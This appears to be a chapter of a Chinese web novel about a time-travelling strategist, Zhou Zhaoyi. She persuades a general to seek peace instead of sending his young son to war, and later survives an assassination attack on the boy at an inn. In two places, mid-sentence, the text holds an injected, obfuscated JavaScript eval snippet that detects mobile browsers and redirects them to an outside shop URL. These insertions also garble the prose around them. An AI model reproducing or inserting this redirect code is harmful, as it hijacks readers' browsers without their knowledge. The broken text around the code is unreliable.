周昭易深吸一口气,靠在门框上,脑子飞快的转。她记得自己看过的史书中并未提及霍家和嬴氏的战役,想必此次是可以转圜的。想到这,她转身回屋,拿起搭在架子上的外衫往身上披。 “你干什么去?”付玉明跟在后面。 “去书房。” 在霍父眼中,十二岁上战场不是什么稀罕事,毕竟史册明明白白写着,这位将军从十一岁就随军出征,而后的几年间在战场上死了弟兄父亲,剩他自己孤家寡人。 这种在现代被戏称为苦难式教育的问题在这里居然依然存在,真是荒谬。 一路小跑至书房,门口的两个守卫拦住了她。 “属下求见将军,有要事相议。”周昭易低声求着二人。“将军有令,任何人不得打扰。”那守卫斜眼睨了她一瞥,语气冷硬,她只得提高了音调,顾不得身后付玉明的阻拦,大声朝里屋道。 “周昭易求见将军,有要事相议!” 里面没有声音,她只得又喊了一句:“事关北疆战事,恳请将军一见!” 沉默了几息,终于传来霍父的声音,“进来吧。” 踏进房门,这位史册上赫赫有名的将军,此时正坐在书案后,书房里燃着炭盆,热气烘得人脸上发燥。他的面前摊着一幅舆图,没有抬头。霍嗣站在一旁,看见她进来,面上愣愣掠过惊愕,很快又恢复了那副没有表情的样子。 “将军,嬴氏来犯,属下以为不宜出战。”周昭易跪下行了一礼,“斗胆请将军收回成命。” 霍父的笔顿了一下,终于抬起头,目光落在她身上,停留了片刻,“说说看。” “如今正是初春,冬季刚过,嬴氏此时起兵,粮草必然吃紧。他们选择这个时候陈兵边境,不是真的想打,只是想试探霍家的态度。”她语气笃定,“嬴氏缺粮,后劲孱弱,正是需要援助的时刻,霍家若主动提出和谈,允诺开放边境互市,便是皆大欢喜的决策。” 霍父冷笑:“你倒是好算计,依你所言,嬴氏岂不是一举既得了利益,又得了我霍家不战而退的声望?” 周昭易抬头,直视他的眼睛:“将军所言极是,所以嬴氏要粮,霍家就得要比粮草更值钱的东西。” “第一,互市必须设在霍家境内,由霍家定价。嬴氏需拿马匹当金银来换粮草,马价由我们定。他们若嫌贵,大可以去别处买,可这个节骨眼上,除了霍家,恐怕没人敢想除了战事,国与国间还能有贸易。” “第二,互市期间,嬴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415979|200756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏不得在边境驻扎超过千人的军队,这是写在盟书里的,违约即撕毁合约,到时霍家再出兵也不迟,况且师出有名,天下人想必也无话可说。” “第三,和谈日起,双方军队各退三十里,互不侵犯,换霍家边陲百姓安居。” 话音落下,屋内久久无人说话。霍父靠在椅背上,手指有一下没一下地敲着案沿。 “你这些话,是替谁说的?”他没有立刻反驳。 周昭易低下头去再叩首:“属下自然是替霍家说的。” “替霍家?”他冷笑了一声,“你才进府多久,就敢说自己能替霍家说话了?” “属下是少主的谋士,少主是霍家的少主,属下替少主着想,就是替霍家着想。”她答。 这话说的滴水不漏,书房内静了片刻。 霍觉非这时拄着拐走了进来,见周昭易还跪在地上,愣了片刻,下意识伸手去扶她站起来:“这是怎么了?” 虽然膝盖跪的酸痛,周昭易却还是不敢站起来,只看向霍父,见对方点了点头,才搭上霍觉非的手,一手撑着地支起了身子。 “是谁告诉你北疆有战事的?”霍父面上仍是没什么表情。 周昭易下意识有些心虚,还在发软的双腿险些没站稳。 “是孩儿说的,方才出来透气,路过听见小厮在议论此时,便去叫了昭易来帮我劝父亲。”霍觉非笑了笑,“怪我腿脚不便,这才来晚一步。” 见他提起腿伤,霍父的神情也松动下来,不再多问。 “……这府中的下人真是愈发没规矩了。觉非,你先坐吧,陪我说会话。” 周昭易这时和霍嗣对上了视线,却见对方眼中无悲无喜,不见几分不用赴敌的喜色,她皱眉,在心中暗骂这小孩不识好歹,朝他瞪了一眼。霍嗣好像被她龇牙咧嘴的神情逗笑了,嘴角向上扬了扬,朝她无声地做口型:多管闲事。 “罢了,和谈的事,容我再想想,先下去吧。”霍父看向二人,叹了口气。 周昭易行了一礼,跟着霍嗣退下了。 除了书房,她才发觉背后的衣衫都被冷汗浸湿了,风从廊前吹过,冷得她打了个哆嗦。霍嗣站在几步远的地方,倒是等在门口的付玉明先迎了上来。 “昭易姐,霍嗣,没事吧,将军说什么了?” “不叫我去了。”霍嗣摇摇头。付玉明长出了口气,面上立刻带起笑意来,显得比他本人还高兴上些。周昭易不禁笑道:“到底要上战场的是他还是你?”话出口,又反应过来自己也为了不干己的事情跑来跑去了半日,于是闭了嘴。 霍嗣轻笑一声:“放心,我肯定请你们随行。” 一句话惹的二人又是一阵哀嚎。 说是到底,周昭易也不知道自己为什么如此不希望这个孩子这样早地见识战场的残酷,或许是出于怜悯,但更多的大概是对霍夫人的歉意与同情。这样温柔的一位母亲,一直到死去,居然连自己的孩子都没见过。 而她的孩子,生在乱世中,即便执掌着人人艳羡的天命,恐怕心中也过的并不幸福。 6.生杀之间 霍父终究是对议和的事点了头。 这位在此世称得上一句青史留名的大将军,大概最不擅长的就是做父亲这件事了。周昭易每每想起这件事,只觉得荒谬无比。 议和的信件送出的四日后,嬴氏派来了一队人马,带着使臣前来复议。 霍觉非接了霍父命令,前往霍家北疆的宁邑进行商议,不久便传来喜讯,嬴氏答应了全部条款,并同意立刻退兵。 霍父自然是大喜,派人将周昭易的院落从偏院迁至主院,甚至还问了她需不需要下人侍奉,她连忙婉拒,只借口庆祝,拉着付玉明和霍嗣出霍府来吃了顿饭。 霍嗣一向不喜侍卫跟从,于是这次也只有他们三人同行。三人平日里皆是习惯了在府中生活,日常又忙碌,除了正事,极少像今日一样只为了玩乐而出府,付玉明一路叽叽喳喳,瞧这个也新奇,看那个也新鲜。 城中最热闹的酒楼叫望月楼,三层高,临街而立。三人挑了个二楼的雅间,靠窗,能看见街上来往的行人。 付玉明一进门就喊饿,把菜单上前几页的菜点了个遍。周昭易看了眼荷包——霍父赏的银子还够用,也就由着他了。 霍嗣坐在靠墙的位置,手里端着茶,目光落在窗外。 “少主想吃什么?”周昭易问。 “随意。” 又加了两道招牌菜,让小二退下了。 菜上得很快。付玉明吃得头也不抬,周昭易夹了两筷子就放下了,看着对面霍嗣慢条斯理地喝汤,忽然觉得这场面有些滑稽;一个十二岁的少主,一个十一岁的伴读,一个十九岁的半吊子谋士,三个人坐在一起吃饭,像三个偷跑出来的小孩。 “你在看什么?”霍嗣放下汤碗。 “哦……没什么,”周昭易被他问的有些尴尬,赶紧收起了乱飘的心思。 付玉明来回瞧了瞧打哑谜的两人,挠挠头,正要说些什么,楼下忽然传来一阵骚乱。周昭易探出头看向楼下,却见方才还人来人往的街上不知何时已空了下来,她心下一沉。 雅间门被人推开的一瞬,霍嗣手中的汤碗几乎是立刻飞了过去。 啪——! 汤碗破碎的声音伴随着来人的痛呼淹没在拔刀声中,霍嗣抽出腰间佩剑,挡住随后而来的刺客直奔他面门而来的一剑。随后而来的一剑却是抵挡不住,只好侧身闪躲开心口位置,右肩还是重重挨了一剑。 付玉明随后反应过来,抓起桌上的盘子就摔向第三个踏进房间的刺客,朝霍嗣大喊,“你快走!” 周昭易只呆了一瞬,浑身的鸡皮疙瘩便都起来了,温热的血液飞溅到她脸上,让人浑身打颤。现在她可算完全能理解恐怖片里看见鬼怪就走不动的主角了,她尚且见的是活人,那些人可见到的是似人非人的怪物! 怔愣间,霍嗣已经反手剜掉了一人的脑袋,那物件咕噜噜滚到周昭易脚边,吓的她大叫一声。 拢共五个刺客,一死两伤,剩下两人和霍嗣付玉明缠斗在一起,一时难见胜负,此时听见她的声音,才反应过来这里还有个手无缚鸡之力的小姑娘。一眨眼,离得近的那个刺客便刀尖一拐,直奔她而来。 霍嗣亦是一怔,手下加了力气,剑尖从对方剑刃上弹出的瞬间,剑锋已经吻上了最近那名刺客的手腕。那人手里的刀还没落下,腕上先绽开一道血线,刀脱手飞出,钉在墙上。 他没有停。剑锋顺势一转,贴着朝周昭易砍去的刀背滑上去,金属摩擦的声音尖得像哨子。挥刀之人下意识偏头,霍嗣的剑已经点在了他的肩窝里——不深,刚好让那条胳膊抬不起来,转手腕一挑,筋脉寸断。 刀剑落地,店里的掌柜姗姗来迟地带着官兵上了二楼。 见受伤的是霍嗣,领头的官员吓的差点魂飞魄散,止不住地一个劲磕头谢罪,连带着一旁的掌柜也被吓的不轻,忙不跌地跟着跪下磕头。 霍嗣摇摇头:“是我一时疏忽,与你们无关。” 二人这才战战兢兢站起身,叫来后头的官兵,押着还有气的三个刺客下去审问了。 “你没事吧?”话刚出口,周昭易就想咬掉自己的舌头。怎么会没事呢?他的肩膀现在还在流血。 “无碍。等回到府中,我自会和父亲解释,你不必担心。”霍嗣语气淡淡,任由付玉明扑过去替他用帕子止血。 “我担心的又不是这个。”周昭易微皱了下眉头,“你受伤了,我是在问你痛不痛,难不难过,跟将军没有关系。我带你们出来,没有做好周全的安排,就是我的问题,我自己会去领罚。” 霍嗣笑了下,面色仍有些苍白,却不见痛苦:“玉明叫你声姐姐,你就真当自己是当家的了?我才是家中少主,要说领罪,也该是我担着。”话落,他面无表情地站起身,“好了,回去吧,身上都脏了,换件衣裳,今晚好好梳洗。” 待回到霍府,霍父果然没有怪罪于她,反倒让她生出几分不安来。 在院中梳洗完毕,换了新衣,周昭易在榻上翻来覆去,一闭眼就是刺客脑袋从脖子上掉下来的那一幕,怎么也睡不着。她坐起身,干脆披件外衣出了房。 才出自己的院子,迎面便碰上位书生打扮的青年人,她朝对方点点头,本想借过便是,却被叫住了。 “姑娘留步。” 周昭易转回身。来人站在月光下,穿这一身月白的袍子,外头罩了件半旧的青灰色氅衣,身子骨很单薄,手里只提着一盏灯。 “您是……”周昭易没见过他。 “孟邈,少主的西席。”他微微颔首,面上含着笑,“早就听说霍家来了位计谋过人的女谋士,上月不在府中,今日方得一见,是孟某荣幸。” 周昭易啊了一声,连忙行礼,“孟先生。” 早听付玉明说过,霍嗣有位老师,身子不好,不打出门,她还以为是白发苍苍的老者,没想到是位年纪如此轻的先生,一时没认出来。 孟邈摆了摆手,示意她不必多礼,“方才从少主那里出来,他的伤不重,医官说养几日便好,姑娘不必担心,”他笑道:“何况你又不是神仙,怎么能预料到这件事呢?此事全不在你。世上每天要死的人多了去了,如果每死一个和自己相干的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418043|200756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就要流眼泪,只怕眼泪这辈子也流不完了。” 周昭易被他这话逗笑了,而后又重重叹了口气:“我没有想哭,只是自责,要是我出府的时候能想着带上几个侍卫,或许他也不用受伤。” “那更要怪小嗣自己了,他就是这个性子,我们可以打个赌,他此后还是不会带着侍卫出门的。” 孟邈眨了眨眼:“好了,若你今夜因此睡不着觉,小嗣才是会真的难过的。” “他?”周昭易愣了一下,“怎么可能?” “当然可能。”孟邈大笑起来,又牵扯到了肺部隐疾,咳嗽了几声。“小嗣只是嘴硬心软,你与他再相处些时日就知道了,这孩子内心最是柔软了。”周昭易嘴角抽了抽,决计联想不到孟邈的话和心中那个霍嗣的关联,只当是他对霍嗣另有几分慈爱,便不再多说。 —— 几天的功夫霍嗣的伤便好了大半,速度之快,令人不禁咋舌,将门之后体质果真非同一般。 虽右手仍不能持剑,练剑的功夫却未被他丢下。才到卯时,周昭易又被叫去后院练剑,连着付玉明一块,两个人皆是困的五迷三道,拿起剑还不如左手持剑的霍嗣来的自在。练了半个时辰,付玉明大喊着练不动了,拿着院仆送来的屉子蹲在一旁,一手一个包子,吃的腮帮子鼓鼓,还不忘递给一旁擦汗的周昭易一个:“霍嗣不当人,我们还是要吃五谷杂粮的,喏,早饭。” 周昭易也是累着了,笑着接过,一手吃了起来,另一手却还握着剑。 她这几日对于习武也颇有勤奋之意。 霍嗣瞥了眼二人,也没出言制止,只是挥剑转身,一招一式,没有半点花哨,剑式极快。 周昭易蹲在付玉明旁边,咬着包子,忽然注意到院门口多了个人。 那人身量比付玉明高半个头,站得笔直,穿一身深灰色的短褐,腰间束着黑色革带,脚蹬薄底靴。瞧着年纪不算太大的样子,偏偏面上跟霍嗣一样是古板样,只是看起来还要更冷一些。霍嗣停下舞剑,回头看向他,“进来吧。” “这位是?” 付玉明问。 “属下青岚,今日起,奉将军之命侍奉少主左右。”他跪下,一叩首。声音低沉,不像一个十四岁的孩子,倒像是个成年人。说话的时候目不斜视,从头到尾只看着霍嗣,旁边的付玉明和周昭易他连看都没看一眼。付玉明嘀咕了句什么,看着似有些不满。 “新来的,你是哪个青,哪个岚?”他拔高了音调,“名字总要通报清楚吧,日后都要一起生活的。” “我不识字。”青岚仍跪在地上,神色冷冷。 霍嗣低头看着他,沉默了片刻,“起来。” 青岚站起身,垂着眼站到一边,一言不发。这倒憋坏了一边的付玉明,他神情古怪地用手肘戳了戳周昭易:“将军这是什么意思,派了个木头过来?” 周昭易失笑,目光停留在那孩子布满茧子的双手和挺得笔直的脊梁上,“我看将军也不是对少主遇刺一事无动于衷。”付玉明顺着她的目光盯着青岚,怎么也看不出个所以然来。